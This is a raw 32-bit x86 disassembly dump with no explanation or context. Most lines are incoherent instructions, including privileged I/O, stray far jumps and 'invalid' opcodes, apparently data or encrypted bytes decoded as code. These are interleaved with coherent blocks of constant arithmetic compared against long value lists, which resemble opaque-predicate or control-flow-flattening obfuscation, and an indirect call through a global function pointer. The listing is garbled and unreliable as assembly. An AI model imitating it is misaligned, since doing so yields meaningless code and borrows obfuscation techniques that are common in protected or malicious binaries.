jge 0x67d70cad
dec ecx
sahf
dec ecx
lds ebp, [ecx]
add al, 0x25
in eax, 0x37
das
aam 9
or dword [eax + edx], 0xffffffec
ret 0x46b
pop eax
pop ss
mov byte [edx - 0x56336fb1], bh
invalid
dec ebx
mov word [ebx - 0x3b6d37d5], es
mov es, word [esp + ebp*4 - 0x336c46cf]
pop esi
sbb dword [edi + 0x58450bbd], 0x49
lodsd eax, dword [esi]
hlt
xchg byte [edi + 0x38], bl
xor dword [ebx + edi*8 + 0x2d], esp
invalid
inc edi
inc edx
sar byte [ebp + 0x67198e1b], cl
jb 0x67d71f31
jmp 0x493355b0
jmp 0x8f68117f
add byte [ecx], ah
mov cl, 0x1b
invalid
and edx, ebp
push ecx
ret 0xaaf0
mov bp, 0x3ed2
in eax, 0x58
push ds
imul eax, dword [eax + 0xc], 0xaee9e274
cmc
shl esi, 0xe1
add dh, byte [esp + ebp*4 - 0x64]
push esi
and dword [edi + 0x31], 0x9b2bf95e
mov cl, 0x23
mov word [edx], gs
stc
or edi, dword [edx + 0x56]
cld
sti
dec eax
push esi
wait
or eax, 0x6b883096
inc esp
jecxz 0x67d7309b
cwde
push ds
retf
or al, 0x18
mov ebx, 0x38ada2aa
add ebx, dword [eax + 0xb]
sub dword [ebx], edi
mov bl, 0xca
mov dl, 0xd4
ror dword [edx - 0x31], 1
and byte [ecx + 0x2d], al
aas
cmp dword [esi], edi
adc al, 0x80
cmc
arpl word [ebx], dx
jbe 0x67d73021
jo 0x67d73012
out 0x5a, al
xor byte [eax], 0x35
enter 0x3e01, 0xfffffffffffffffe
retf
shr dword [ecx - 0x77], 1
jmp 0x67d730ec
xor dword [edx - 0x31], edi
cmp al, 0x59
in al, 0xe9
sti
dec ecx
rsqrtps xmm2, xmmword [eax + edi*2 - 0x53]
scasd eax, dword es:[edi]
dec eax
pop edx
in al, dx
and byte [ecx + ebp*4], bh
jmp 0x67d7316d
int 0x76
invalid
stosd dword es:[edi], eax
push ss
sti
in al, dx
leave
je 0x67d73192
pushal
add eax, 0x49a556c4
invalid
jne 0x67d73132
mov edi, 0xa8e0fd4
jl 0x67d731b3
push esi
pop ebx
sbb dh, bl
cli
mov ch, 0x60
out 0x2a, al
xchg dword [ebx - 0x67], edi
dec ebp
jb 0x67d731a0
test byte ss:[edx - 0x16], bl
arpl word [esi], sp
sahf
test bl, ch
ljmp 0x3af
sbb edx, esi
mov edx, 0xd13ffeb1
popal
xlatb
lodsb al, byte [esi]
invalid
nop
jmp 0x67d73c16
nop
mov eax, dword [ebp - 0x94]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x154]
add eax, ecx
movzx eax, word [eax]
and ax, 0xfff
movzx eax, ax
add eax, edx
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x198], 0x3e677
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x1a0], 0xe55e
mov dword [ebp - 0x19c], 0
mov eax, dword [ebp - 0x198]
mov edx, dword [ebp - 0x194]
sub eax, dword [ebp - 0x1a0]
sbb edx, dword [ebp - 0x19c]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x1a8]
xor eax, 0x30119
or eax, dword [ebp - 0x1a4]
je 0x67d74296
mov eax, dword [ebp - 0x1a8]
xor eax, 0x409e5
or eax, dword [ebp - 0x1a4]
jne 0x67d74299
sal byte [ebp + 0x2ac1ef50], 1
sub bl, byte [edi - 0x23dd19ad]
xchg ebp, eax
outsd dx, dword [esi]
dec eax
daa
jmp 0xa6cb98e9
nop
jmp 0x67d7429a
nop
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x1b0], 0xa2087
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1b8], 0xb872c
mov dword [ebp - 0x1b4], 0
mov ecx, dword [ebp - 0x1b0]
mov ebx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x1b8]
mov edx, dword [ebp - 0x1b4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 0x1c0]
xor eax, 0x15a7b3
or eax, dword [ebp - 0x1bc]
je 0x67d79e1d
mov edx, 0x15a7b3
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0xc041a
or eax, dword [ebp - 0x1bc]
je 0x67d76937
mov edx, 0xc041a
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0xbd22e
or eax, dword [ebp - 0x1bc]
je 0x67d76f18
mov edx, 0xbd22e
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x9fe67
or eax, dword [ebp - 0x1bc]
je 0x67d774f9
mov edx, 0x9fe67
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x9cfa0
or eax, dword [ebp - 0x1bc]
je 0x67d75d75
mov edx, 0x9cfa0
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x8b0e6
or eax, dword [ebp - 0x1bc]
je 0x67d75794
mov edx, 0x8b0e6
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x740d5
or eax, dword [ebp - 0x1bc]
je 0x67d76356
mov edx, 0x740d5
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x69438
or eax, dword [ebp - 0x1bc]
je 0x67d74bd2
mov edx, 0x69438
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x5e7fa
or eax, dword [ebp - 0x1bc]
je 0x67d745f1
mov edx, 0x5e7fa
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x53e7a
or eax, dword [ebp - 0x1bc]
je 0x67d7925e
mov edx, 0x53e7a
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x51cff
or eax, dword [ebp - 0x1bc]
je 0x67d7869c
mov edx, 0x51cff
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x4e0f8
or eax, dword [ebp - 0x1bc]
je 0x67d78c7d
mov edx, 0x4e0f8
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x3cb39
or eax, dword [ebp - 0x1bc]
je 0x67d77ada
mov edx, 0x3cb39
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x203f0
or eax, dword [ebp - 0x1bc]
je 0x67d780bb
mov edx, 0x203f0
mov eax, 0
cmp edx, dword [ebp - 0x1c0]
sbb eax, dword [ebp - 0x1bc]
jl 0x67d79e20
mov eax, dword [ebp - 0x1c0]
xor eax, 0x5a07
or eax, dword [ebp - 0x1bc]
je 0x67d7983f
mov eax, dword [ebp - 0x1c0]
xor eax, 0x1e7ed
or eax, dword [ebp - 0x1bc]
je 0x67d751b3
jmp 0x67d79e20
mov ch, 0x7d
aas
pop es
push ebx
cmp dword [ebx + 0x2e], 0x9d7c52a5
cmovne ecx, dword [ecx + 0x6d6cfe8f]
das
loop 0x67d745fe
mov esi, 0xd1eda873
fistp dword [edx]
in eax, dx
scasd eax, dword es:[edi]
cdq
xchg esp, eax
adc al, byte [edi + ecx*2 - 0x299d9341]
sub dword [ecx], 0x6ea4e9dd
mov al, byte [0xb4c33360]
mov edi, 0x57593d80
push edx
fmul qword [ebx]
mov dh, 0x64
cmp bh, byte [ebx + 0x460bb516]
pushal
mov ch, 0xcc
pop esi
pop ds
pop ecx
mov bh, 0x8b
movsd dword es:[edi], dword [esi]
rcr byte [edi], 1
bound esp, qword [ecx + 0x77]
lds esp, [ebx + 0x5bd79f49]
lahf
out dx, eax
jl 0x67d74653
pop dword [ecx]
out 0x6c, eax
sbb edx, dword [ebp + 0x7215cc90]
mov dh, 0x83
in al, 0xa7
or byte [0x78c2b7cd], bl
mov cl, 0xc4
cli
leave
stosb byte es:[edi], al
and ebp, esi
sbb dh, byte [ebp + 0x3de2ea99]
add byte [ecx - 0x35], al
mov al, 0x33
cmpsb byte [esi], byte es:[edi]
jmp 0x67d74686
nop
int3
insd dword es:[edi], dx
mov al, 0x70
cmp ebx, edx
ficomp dword [ecx]
mov al, 0xb8
imul dword [esi + 0x5f]
jo 0x67d746eb
or al, 0x91
sbb al, 0x69
mov dword [0xe7ee4fbd], eax
xchg ebp, eax
movsb byte es:[edi], byte [esi]
pop edx
fist word [edx - 0x48]
push 0xa53ba35e
call 0xec87074a
xlatb
aad 0x69
sub al, byte [ecx - 0x6f7544a8]
int3
bound ecx, qword [esi]
ret 0x9364
mov esi, 0xeb265520
int3
xchg dword [ebp + 0x68d93205], ecx
stosd dword es:[edi], eax
jns 0x67d74c25
xor eax, 0x24043c3d
lodsb al, byte [esi]
and al, 0xac
sbb cl, dh
xor byte [ecx], bh
mov al, 0x79
mov al, 0x6d
rol byte [0x64150653], 1
xchg esp, eax
stc
jp 0x67d74c18
js 0x67d74c12
pop edx
fucomp st(1)
xchg ebx, eax
js 0x67d74b85
and eax, 0x334b3dcf
push esp
ja 0x67d74c54
push ss
fmul dword [edi - 3]
les ebx, [ebx - 0x955347c]
sal ebp, 0xc5
mov bl, 0x93
xchg ebx, eax
stosb byte es:[edi], al
cwde
out dx, al
push es
imul esp, ebx, 0x1f9b1656
jecxz 0x67d74c70
push ss
wait
pop ds
adc dword [eax - 0x4c], ecx
jg 0x67d74bdf
push esp
invalid
lds ebp, [edi - 0x5747e34b]
loop 0x67d74c7b
fst qword [ecx + 0x26]
push 0x6a
iretd
retf 0x8fb0
sahf
sbb esp, ecx
push ecx
nop
jns 0x67d74c68
lahf
je 0x67d74cbc
cwde
xchg ebx, eax
out dx, al
mov dl, 0x2e
xchg esi, eax
or eax, 0x6c9437ac
aaa
xchg esp, eax
insb byte es:[edi], dx
and eax, dword [ecx - 0x12]
rcl dword [ecx + 0x573a1931], cl
mov byte [0xbf11a182], al
js 0x67d74cec
xor dword [ecx], ebx
cmp dl, byte [edi - 0x5e]
and byte [ecx + 0x7178bf11], 0x4d
dec ebp
adc dl, ah
imul ebx, dword [esi - 0x7e7986c1], 0x43
push ebp
shr dword [0x8de48036], 1
jne 0x67d74cbc
adc esp, dword [edx]
cld
jns 0x67d74c44
ror dword es:[edi - 0x336ffcd9], cl
das
out 0x9c, eax
xor eax, 0xe8a5227c
ret 0x6da4
cwde
adc byte [ebp - 0x43], cl
mov al, bl
add ebp, dword [esi]
cli
mov ch, dl
xchg ecx, eax
and dword [0x94cf79e5], edx
out dx, al
push 0x19
dec ebp
jg 0x67d74d44
out 0x3f, eax
pushal
in eax, 0x79
push 0xffffffffffffffe0
arpl word [esi + 0x5a], cx
adc ch, byte [edi + ebp*8 + 0x261d9a22]
bound edi, qword [eax + 0x15]
sbb eax, 0x15786226
invalid
jne 0x67d74cb3
mov ch, byte [esi]
sub byte [eax - 0xec75471], 0xcd
cmc
xor dword [edx], edi
call 0xd6a3dd8c
outsb dx, byte [esi]
mov dl, 0x2d
push 0xffffffffffffffa5
scasb al, byte es:[edi]
imul ecx, dword [ebx + 0x238a873e], 0x56
add dword [ebx + ecx*4 + 0x77], edi
test eax, 0x5937e0cb
pop edi
or eax, 0x334cab3a
sub ebp, dword [eax + 0x54]
mov dh, 0x9a
lodsb al, byte [esi]
mov dword [0xb5f5402c], eax
add byte [edx], bh
jmp 0xe82e12e4
or bh, byte [ecx + 0xa]
jbe 0x67d74cdb
and eax, 0x6af9e36b
cmp dword [ebx + edi*2 + 0x82d376e], 0xd5dc42d7
cmp edi, dword ss:[ebp - 0x4b]
jnp 0x67d74dc0
aaa
sub eax, 0xdc42d708
aad 0x36
cmp edi, dword [ebp - 0x4b]
jns 0x67d74d7c
sbb eax, 0xb8cc9082
inc edi
add dword [eax - 0x350b87b0], edi
jbe 0x67d74daa
adc byte [eax + 0x147b8cc], 0xb8
push eax
js 0x67d74d5d
retf 0x3e76
stosd dword es:[edi], eax
nop
jl 0x67d74cfe
jle 0x67d74dc8
mov esi, dword [ebx - 0x460ade8c]
retf 0x2b9
dec edi
dec esi
push edx
jo 0x67d74d5e
test dword [ebx - 0x56c5a09], edi
push ebx
inc esp
ret
std
invalid
xor ch, byte ss:[ebx - 0x35]
nop
int3
lodsb al, byte [esi]
jb 0x67d74d50
adc dh, byte fs:[eax - 0x32]
add al, 0x56
into
into
pop ecx
and byte es:[edx], ch
xor byte [edx + 0x6d], ch
dec ebx
dec edx
cwde
adc al, 0xbe
sbb esi, dword [ecx + 0x72]
out 0x81, eax
insd dword es:[edi], dx
cmpsd dword [esi], dword es:[edi]
xchg edi, eax
jecxz 0x67d74ddd
int 0xe1
scasb al, byte es:[edi]
not byte [edx]
push edx
rcl dword [ecx]
dec edx
push edi
xor ecx, dword [eax + 0x62]
adc eax, 0x5c3cbf1d
adc byte [ebp - 0x5a846cdd], bl
popal
cwde
lodsd eax, dword [esi]
push edx
scasb al, byte es:[edi]
les esi, [ebx + 7]
xor cl, byte [ebx + 6]
out dx, al
cld
xor al, 3
mov byte [0x92a73473], al
inc esi
lodsb al, byte [esi]
ljmp 0x7224
sub cl, byte [ebx]
js 0x67d751f7
test byte [ebp + 0x3bea563a], dl
cwde
fsubr st(2)
invalid
invalid
invalid
sbb al, 0xee
xchg edi, eax
push cs
lds edx, [eax]
xchg ecx, eax
mov bh, 0x28
pop es
jmp 0x36b9c5cd
mov dl, 0x5d
and dword [esi - 4], edx
ret 0xb81a
or byte [esi - 0x24], dl
push cs
sal dword [eax - 0x6a], 0x42
pop ss
push esp
invalid
cmpsd dword [esi], dword es:[edi]
hlt
mov edx, 0x4592723f
dec ebp
push esi
loopne 0x67d768e5
jle 0x67d7696a
mov ch, 0x26
lodsd eax, dword [esi]
jne 0x67d76925
adc al, 0xc6
sub eax, 0x551a57f7
add eax, dword [edi - 0x78]
fistp dword [ebx]
adc ebx, dword [edi]
add al, 0xa0
pop es
xor ecx, dword [edx + 0x733fa510]
pushfd
xor al, 0xae
mov bl, byte [ebp + edi*4 - 0x2986f0a4]
retf
inc esi
cwde
test dword [esi], 0x758b8bda
add eax, 0xd8da7660
mov dword [0xab9b05c8], eax
cli
dec edx
xor al, bl
mov ebp, 0xf932f6d6
xchg byte [eax + 0x40], dl
pop edx
rol byte [eax + 0x5aaaf3], 0x3d
mov ah, 0x93
inc esp
cmp ebp, dword [edi - 0x18]
pop edi
daa
pop ebp
nop
int3
cmp bh, byte [ecx + 3]
in eax, dx
inc esi
fstp dword [ebx - 0x4a]
pop es
nop
int3
cmp al, 9
in eax, 0x69
jb 0x67d76ea4
add byte [ecx - 0xebda9b1], cl
dec ecx
mov bh, dl
mov esi, 0x2b1668ab
neg byte [edi + ebp*4]
aad 0xd5
sahf
adc byte [esi], al
outsb dx, byte [esi]
sbb dl, byte [ebp - 0x3f]
arpl cx, dx
inc esi
outsd dx, dword [esi]
and edi, dword [esi + 0xa23a586]
or al, 0x3c
adc al, 0x76
sub edx, eax
or dword [esi + esi*8 + 0x7d], edi
push es
mov cl, byte [esi + 2]
xor al, 0xe5
test al, 0x4e
fadd dword [eax]
invalid
ror byte [eax + 0x7d], cl
adc al, 0x5c
jp 0x67d76ebe
pushal
popfd
add esi, edx
push 0x3b
retf
pop esp
in al, 0x5f
mov dh, 0xfb
dec esp
ljmp 0xb261
js 0x67d77b37
loop 0x67d77b11
arpl word [eax + 0x6a55c96a], di
push ecx
sti
ljmp 0x3f4
or dword [edx], 0x325ad7a2
test al, 0x5c
dec eax
push es
inc ecx
retf 0x3b90
cmp eax, 0x58939d55
nop
int3
mov ds, edi
dec ecx
push edx
cdq
imul eax, dword [ebx + esi*2], 0x9789dc34
or dh, byte [eax - 0x2e52f4f3]
movsb byte es:[edi], byte [esi]
js 0x67d780cc
stosd dword es:[edi], eax
ret
nop
int3
sbb ax, 0
leave
push edx
aam 0x5d
push edx
pop esp
push edx
int 0x19
jno 0x67d7807d
and byte [ecx + ebx], ch
dec eax
insb byte es:[edi], dx
scasd eax, dword es:[edi]
jb 0x67d780f4
mov word [edx + esi*2], gs
push ds
enter 0xffffffffffffd1ee, 0x44
and ecx, dword [eax - 0x6493a9a0]
jge 0x67d78113
inc edi
add al, ch
sbb dword [eax + 0x52], 8
pop ds
cmp edx, edx
dec esp
inc ebx
sbb al, 0xa1
dec edx
xor al, 0xca
inc ebx
jbe 0x67d780b7
jle 0x67d780b4
imul eax, dword [ecx], 0x703622d2
push ebp
or byte cs:[ecx - 0x80], ah
pop edx
mov word [esi + 0x311b2c5a], gs
pop eax
test byte [eax], dh
sahf
out 0x85, eax
sahf
fist dword [esi + 0x21767a6]
dec edx
dec ebx
ja 0x67d7812f
retf 0x63fa
cmp bh, dh
pop ebp
fucompi st(6)
xor esp, dword [edx + 0x68]
std
les ebx, [edx + 0x1c]
mov dword [esi + ebx*4 + 0x595d14a7], ecx
test cl, dl
mov esi, 0xf56051a
inc ebp
invalid
sbb edi, dword [edi + 0x3f]
mov esp, 0x85e9cc90
pop ss
add byte [eax], al
xchg ecx, eax
lds esi, [ebp - 0x16]
cmp byte gs:[eax], ch
push eax
jge 0x67d78691
dec eax
push ebx
add eax, 0x3507401a
retf
pop eax
pop ebp
add byte [ebp + 0x32], 0x86
daa
push ebx
jae 0x67d78cdb
mov dword [eax + 0x51ecd726], eax
stosb byte es:[edi], al
invalid
imul ecx, dword [esi + edi*8 + 0x5fcc906c], 0x73
or edx, dword [edx]
lea ebx, [ebp + eax*4 + 0x3f]
cmp al, byte [esi + ebp*8 - 0x38]
jno 0x67d78d0a
xchg byte [esi + 0x54], bh
xchg byte [edx + 0x3d], dh
jne 0x67d78d40
mov ecx, 0x3489d50b
outsd dx, dword [esi]
or edx, ebp
mov dword [edi + ebp*2], esi
pop ebp
mov byte [0x467823cb], al
mov eax, dword [0x79ad9712]
add dword [ebp - 0x484e42c4], edx
cmp al, 0xbd
mov cl, 0xb7
jg 0x67d78d37
add dword [ebx + 0x31], 0xeab74041
sbb byte [0xee8aa8bb], bh
xor dl, al
sbb byte ds:[ebx - 0x77], bh
jg 0x67d78d5d
lcall 0x1dc4, 0x4bf483ef
dec esi
sub cl, al
sub eax, 0x992dcaa
salc
cmpsb byte [esi], byte es:[edi]
or ebx, dword [edi - 0x473b7ce7]
cli
jle 0x67d78d23
lahf
sbb dword [ebx + 0x7efab8c4], eax
in al, 0x4c
dec esp
jae 0x67d78cf8
cmpsb byte [esi], byte es:[edi]
nop
int3
jmp 0xf906ccfd
sbb dl, dh
dec edi
mov bl, 0x96
cld
insb byte es:[edi], dx
pop ss
add ch, ch
or al, 0x5e
nop
int3
xor eax, 0xb60b71c3
mov ebp, 0xc2d66ad
jg 0x67d79290
shr dword [eax + edx - 0x5471f64e], cl
fsincos
aam 0x2e
mov esp, 0xbcd17b2f
adc edi, dword [edi]
jge 0x67d7924a
wait
rcr dword [ebp - 0x2e], 0xf1
mov esi, ebp
ficom word [esi - 0x2c]
cwde
push eax
adc byte [eax + 0x682facda], al
sub edx, esi
scasd eax, dword es:[edi]
retf 0x6686
push 0x26aff229
retf 0x6686
jb 0x67d7988e
test byte [0xce0208a5], dh
sbb al, 0x6e
dec edx
adc edx, dword [esi + 0x66fb3f73]
fild qword [ecx - 0x1e11bd2b]
lcall 0x6381, 0x81b237ba
cwde
push es
mov edx, 0x7249397a
pop ebp
xchg esp, eax
jae 0x67d798c8
xor dword [eax], esp
jb 0x67d7987a
inc edx
fdivrp st(5)
sub dword [edx + 0x78d43e34], esi
shl dword [eax - 0x3c], 1
dec ebp
inc edi
adc eax, 0x354af0a5
and al, ch
insd dword es:[edi], dx
adc cl, byte [ecx + 0x72]
mov ch, byte [edi - 0x41703824]
and dword [ebp - 0x46], esi
xlatb
mov cl, byte [ebx - 0x34]
pop eax
mov eax, 0x9407d531
cmp edi, edx
push edi
clc
popfd
adc eax, 0xcc9015fc
lds eax, [edx + ecx*4 - 0x29]
fisubr dword [edi - 0x3d]
sar dl, 0x73
out dx, eax
mov esi, 0x1d6fcfa3
xchg ecx, eax
clc
ljmp 0x2c0e
mov word [edx - 0x3d], fs
shl dword [ebp - 0x247c66aa], 1
xchg esi, eax
movsd dword es:[edi], dword [esi]
push esi
cdq
sbb ebx, 0xffffff96
pop esi
dec esi
cmp ch, byte [eax]
xchg ebx, eax
adc byte [edi - 0x32], ch
test al, 0x78
sbb al, 0x90
inc esi
je 0x67d798cc
adc bl, 0x25
out 0xc, eax
enter 0xffffffffffffc05f, 0xffffffffffffffe7
cli
xchg edi, eax
mov eax, dword [0xbb377440]
leave
inc esi
cmp dword [eax - 0x5f8aa9b], 0x70
xor ebx, dword [bx + si]
mov esp, 0x9ee16507
out 0x70, al
nop
int3
nop
jmp 0x67d79e21
nop
mov eax, dword [0x680a5008]
mov edx, dword [0x680a5024]
mov ecx, edx
mov edx, dword [ebp - 0x18c]
add edx, ecx
mov dword [esp + 8], 4
mov dword [esp + 4], edx
lea edx, [ebp - 0x214]
mov dword [esp], edx
call eax
mov dword [ebp - 0x1c8], 0x8d6d8
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1d0], 0xceefc
mov dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1c8]
sbb edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], edx
mov eax, dword [ebp - 0x1d8]
xor eax, 0xe5e9a
or eax, dword [ebp - 0x1d4]
je 0x67d7abc0
mov edx, 0xe5e9a
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67d7c922
mov eax, dword [ebp - 0x1d8]
xor eax, 0xdf420
or eax, dword [ebp - 0x1d4]
je 0x67d7a5df
mov edx, 0xdf420
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67d7c922
mov eax, dword [ebp - 0x1d8]
xor eax, 0xcc868
or eax, dword [ebp - 0x1d4]
je 0x67d7bd63
mov edx, 0xcc868
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67d7c922
mov eax, dword [ebp - 0x1d8]
xor eax, 0xca8ac
or eax, dword [ebp - 0x1d4]
je 0x67d7b782
mov edx, 0xca8ac
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67d7c922
mov eax, dword [ebp - 0x1d8]
xor eax, 0xb65ff
or eax, dword [ebp - 0x1d4]
je 0x67d79ffe
mov edx, 0xb65ff
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67d7c922
mov eax, dword [ebp - 0x1d8]
xor eax, 0x56d77
or eax, dword [ebp - 0x1d4]
je 0x67d7b1a1
mov edx, 0x56d77
mov eax, 0
cmp edx, dword [ebp - 0x1d8]
sbb eax, dword [ebp - 0x1d4]
jl 0x67d7c922
mov eax, dword [ebp - 0x1d8]
xor eax, 0x18a23
or eax, dword [ebp - 0x1d4]
je 0x67d7c344
mov eax, dword [ebp - 0x1d8]
xor eax, 0x41824
or eax, dword [ebp - 0x1d4]
je 0x67d7c925
jmp 0x67d7c922
mov dword [ebx + 0x60b694d1], esi
fcomp qword [ecx - 0x6e50e017]
lcall 0xd571, 0x541ad692
iretd
popfd
aad 0x47
jno 0x67d7a62b
outsd dx, dword [esi]
btr esp, edx
push cs
inc edx
iretd
push ebp
les ecx, [ecx - 0x2af41064]
test al, 0x58
test eax, 0x10b4e025
not byte [ecx + ebx - 0x46]
fucomp st(1)
fadd qword [ecx]
nop
int3
test dword [eax], eax
mov bh, 0xf2
and byte [ecx + 0xf], cl
movsd dword es:[edi], dword [esi]
xor eax, eax
nop
int3
outsb dx, byte [esi]
mov esp, 0x8369b1cd
jmp 0x67d7abc9
mov al, 0x61
cdq
into
test byte [edi], 0xe9
int1
sub esp, dword [ebx - 0x2f]
sub eax, 0x42b3f0f5
jae 0x67d7ac56
sal dl, 1
loop 0x67d7abaf
out 0xfe, eax
sbb eax, 0xaebadaab
pop ebx
add eax, 0xc7e456dd
jp 0x67d7ac3b
test al, 0xdf
scasd eax, dword es:[edi]
mov edi, 0x559538d2
inc ebp
fcomp st(1)
or dword [edx + 0x4d6b402b], 0x50
shr dword [edx + 0x34b2aeb2], 0xde
rcr byte [edx + 0x29], 1
dec esi
mov ecx, 0x957ac917
ret 0x18c2
xor byte [eax + 0x72b58445], al
cmp cl, byte [ebp - 0x336fb488]
lea esi, [eax + 0x7d]
int1
in eax, dx
push ebp
cli
add esi, dword [ecx - 0x4c]
push 0xf0e6b9bb
push edi
jbe 0x67d7ac4c
in eax, 0x4b
push edi
xchg ebp, eax
xchg byte [ecx + 0x50d0e945], al
insd dword es:[edi], dx
add dword [ebp - 0x17], 0x6d6550d0
shr byte [edx], 1
and bl, byte [eax]
jecxz 0x67d7aca7
test dword [ebx], edi
dec edi
cli
pop edi
aas
outsd dx, dword [esi]
push ebx
daa
retf 0x7e0c
sub eax, 0xb369a68c
pop ebx
cmp edi, dword [ecx + 0x53]
lahf
aaa
mov dh, 0x42
imul ecx, dword [ebx + eax*8], 0xbaab2ace
xchg edi, eax
push edx
enter 0xffffffffffffd618, 0x74
in eax, 0x3c
add cl, byte [0xedfb9978]
adc ebx, 0xa8629b2e
xchg byte [ebx + 0x2f], al
stosb byte es:[edi], al
ja 0x67d7ac18
scasb al, byte es:[edi]
nop
int3
invalid
sti
add al, 0x5d
pop ds
sbb byte [ebx + esi*2 + 0x35], 0x30
mov ebp, 0xe7f30d38
inc ebp
out dx, eax
mov edi, 0x83eaa1d5
xor al, 0x57
dec ecx
add al, 7
in al, 0x26
xor esp, ecx
mov bl, 0x2c
cmpsb byte [esi], byte es:[edi]
mov eax, dword [0x2627b3b1]
mov bh, 0xbc
aas
cld
invalid
xchg dword [eax + 0x19], edx
cmp ebp, ecx
cdq
xlatb
xchg ecx, eax
lds eax, [edi]
outsb dx, byte [esi]
or bh, byte [ecx - 0x45dc02f1]
daa
cmc
push ecx
jae 0x67d7b20a
mov dh, 0x7d
sal dword [ebx], 0x18
mov ebp, 0x299cecfa
enter 0xffffffffffffa647, 0xffffffffffffffee
xor edx, edx
mov dx, 0xe353
ror dword [edi], 0xa2
pushfd
mov eax, dword [0x2b4cbfd4]
lcall 0x848c, 0xd4d76d00
or al, byte [ebp - 0x115a80bb]
test byte [edx], cl
test dword [ebp + 0x7f], eax
movsd dword es:[edi], dword [esi]
out dx, al
js 0x67d7b16a
js 0x67d7b1f0
add al, 0x37
mov ah, 0x38
or ebx, dword [ebx - 0x2c]
cmpsb byte [esi], byte es:[edi]
cmp byte [ebx], cl
pop ebx
aam 0xa6
jp 0x67d7b1eb
sub byte [ebx - 0x1b796ebc], ah
mov bh, byte [edx - 0x4b]
invalid
inc eax
daa
push ebp
pop ss
xor byte [ecx], bl
push ss
jo 0x67d7b239
out 0x6f, eax
pop ds
inc ecx
jg 0x67d7b1dd
dec eax
xor byte [edx + 0x13], al
jle 0xfa8b23f1
mov dh, 0x27
imul edx, dword [ebp + 0x44], 0xc7f20061
daa
and eax, 0x3c8aef7f
cmpsb byte [esi], byte es:[edi]
add edx, ebx
cmp byte [esi + 0x251022a6], 0x7e
cmp esp, dword [ebx - 0x374734ca]
push ecx
int1
mov eax, 0x564a129c
dec esi
invalid
and dl, byte [eax]
and eax, 0x36a33b7e
retf
add byte [esi], bh
pop ds
pop ds
inc ebp
outsb dx, byte [esi]
mov al, 0xe2
and dword [ebx], 0x1d1746d9
loop 0x67d7b781
aas
call 0xe70f5f56
and esp, dword [eax - 0x7a]
iretd
into
popal
sub eax, dword [edx]
mov dh, byte [eax - 0x77]
test al, 0x2d
sub dword [ebx - 0x440c4bb1], ecx
fimul dword [esi]
outsb dx, byte [esi]
xor byte [esi], bl
xchg dword [esi], esp
mov ah, 0
cmp bh, al
lodsd eax, dword [esi]
pop eax
jp 0x67d7bda0
mov eax, dword [eax - 0x74]
or dl, byte [ebx]
mov byte [0xd02d7709], al
mov byte [0x3e22f3d5], al
in eax, dx
cwde
mov dword [edx - 0x44], eax
ret 0x6e57
dec eax
lodsb al, byte [esi]
invalid
stosb byte es:[edi], al
pushal
mov cl, byte [ebp - 0x2c]
fisttp dword [eax + 0x29]
push 0x98f2b93d
xchg esi, eax
xchg esi, eax
fild dword [esi + edi*8 - 0x29]
push esi
